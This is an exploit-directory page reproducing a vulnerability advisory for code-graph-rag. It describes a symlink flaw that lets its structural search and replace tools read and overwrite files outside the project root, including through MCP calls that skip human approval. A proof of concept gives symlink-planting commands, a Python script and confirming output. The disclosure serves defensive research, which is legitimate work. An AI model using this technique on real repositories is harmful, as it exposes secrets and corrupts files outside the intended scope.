Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
code-graph-rag-PoC — PoC — symlink following to arbitrary file read/write outside project root in code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1). | Kitploit
Tools/GitHubGitHub/squeeze440/code-graph-rag-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubsqueeze440/code-graph-rag-poc

code-graph-rag-PoC

PoC — symlink following to arbitrary file read/write outside project root in code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).

View Repository
1019 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

code-graph-rag: security advisory

CVE status: requested, pending assignment. This finding is published as GHSA-85gg-2gfq-q95m. On CVE assignment this repository is renamed CVE-YYYY-NNNNN-code-graph-rag-PoC and this banner is replaced with the CVE link.

ResearcherDostxodjayev Abdullox (@squeeze440)
AdvisoryGHSA-85gg-2gfq-q95m
CVSS 3.17.1 (High)
WeaknessCWE-59, CWE-22

Summary

A remote/local attacker who can get a symbolic link included in a source-code repository that code-graph-rag analyzes can cause the structural_search and structural_replace tools (backed by AstGrepService, exposed both as MCP tools and as agentic AI tools) to read and — via structural_replace with dry_run=False — overwrite arbitrary files outside the configured project root, because the tool's path-containment check (should_skip_path/_classify_file) is performed lexically on the unresolved path and never checks Path.is_symlink() or calls .resolve(), unlike the project's own (correct) validate_project_path decorator used elsewhere.

Product

vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)

Tested Version

Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyproject version 0.0.550) — current main at test time. Confirmed this commit already contains the fix for the prior advisory (GHSA-vvr2-h2jp-838m: paginated read_file path traversal) and the newer HTTP-MCP bearer-auth gate (_validate_http_exposure in codebase_rag/mcp/server.py), so this is a distinct, still-open issue on top of those fixes.

Estimated CVSS v3.1

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (High)

Non-obvious metrics:

  • AV:L — the flaw is exploitable purely through the tool's core local/CLI/stdio-MCP usage (analyzing a repository containing a planted symlink); it does not depend on the optional, now-bearer-token-gated HTTP MCP transport, so the base vector is scored on the always-present local surface rather than assuming a remote deployment.
  • UI:R — the attacker supplies the malicious repository (the symlink), but a separate party (a user, or an AI agent acting on their behalf) must actually run structural_search/structural_replace against that project for the read/write to fire.
  • A:N — arbitrary overwrite of a file's content was demonstrated; no crash/system-DoS chain was demonstrated, so Availability is scored conservatively as None rather than assumed.

Details

AstGrepService (codebase_rag/tools/ast_grep_service.py) backs both the structural_search and structural_replace MCP/agentic tools. It enumerates candidate files with os.walk() and gates each path only through should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — walks self.project_root with os.walk(); every non-directory dirent returned by os.walk (including a symlink pointing anywhere on disk) is treated as an in-scope file.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — the only containment check is should_skip_path(...) followed by abs_path.relative_to(self.project_root) (line 82); abs_path is never resolved, so this check is purely lexical/string-based.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) and codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — computes rel_path = file_path.relative_to(repo_path) without ever calling .resolve() or Path.is_symlink(). Nothing in this function treats a symlink differently from a real file.
  • Read sink: codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) calls path.read_text(), which Python follows through the symlink to its real target, no matter where that target lives.
  • Write sink: codebase_rag/tools/ast_grep_service.py:187-208 (replace), specifically line 208 — abs_path.write_text(new_source, ...) when dry_run=False, again following the symlink and overwriting the real target file's content.

This is inconsistent with how the rest of the codebase handles the exact same class of risk. The file read/write/edit tools (file_reader.py, file_writer.py, file_editor.py) are all protected by validate_project_path (codebase_rag/decorators.py:73-75):

full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() follows symlinks before the containment check runs, so those tools correctly reject an out-of-root target. path_utils.py's own absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) documents the same principle explicitly in its docstring: "The resolve() calls are load-bearing: containment is checked lexically, so an unresolved .. segment or symlink would escape the root." — but should_skip_path()/AstGrepService, used by structural_search/structural_replace, never applies that pattern.

Reachability / exposure of the two tools:

  • structural_search (codebase_rag/tools/structural_search.py:24-46) carries no requires_approval flag at all — an MCP client's model can call it autonomously with no human confirmation.
  • structural_replace (codebase_rag/tools/structural_editor.py:52-57) is marked requires_approval=True, but that flag is only enforced by pydantic-ai's own agent loop. The MCP server path bypasses it entirely: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) calls self._structural_editor_tool.function(...) directly, and the MCP tool is registered with no approval concept at codebase_rag/mcp/tools.py:369-388 (ToolMetadata for MCPToolName.STRUCTURAL_REPLACE) — any MCP client that can call tools can invoke structural_replace with dry_run=False in one shot.

Proof of Concept

Dynamically confirmed against the installed package (mgclient/pymgclient mocked exactly as in the prior advisory's PoC, since the Memgraph native client isn't needed for this code path).

mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Actual run output (/tmp/poc_venv, package installed via pip install --no-deps -e . from the tested commit):

[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2
Download Tool